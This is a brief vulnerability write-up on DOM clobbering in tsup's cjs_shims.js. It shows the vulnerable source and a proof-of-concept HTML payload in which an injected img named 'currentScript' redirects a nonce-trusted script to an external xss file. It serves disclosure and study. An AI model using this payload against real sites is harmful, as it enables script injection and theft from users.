The simplest and fastest way to bundle your TypeScript libraries.
Tsup was translating the import.meta.url to document.currentScript in cjs_shims.js to determine the URL of the current script.
In the CVE advisory, it mentions version ≤8.3.4, but it looks to work in the latest version (8.5.0).
<!-- user input -->
<img name="currentScript" src="https://gmsgadget.com/assets/xss/index.js">
<script nonce="secret" src="https://gmsgadget.com/assets/libs/tsup/index.js?"></script>Root Cause
Source: https://github.com/egoist/tsup/blob/92ee84251f7c5dad7691f6052eb8b767899e0cff/assets/cjs_shims.js#L6
const getImportMetaUrl = () =>
typeof document === 'undefined'
? new URL(`file:${__filename}`).href
: (document.currentScript && document.currentScript.src) ||
new URL('main.js', document.baseURI).href
export const importMetaUrl = /* @__PURE__ */ getImportMetaUrl()
Related links:
Found by jackfromeast, ishmeals.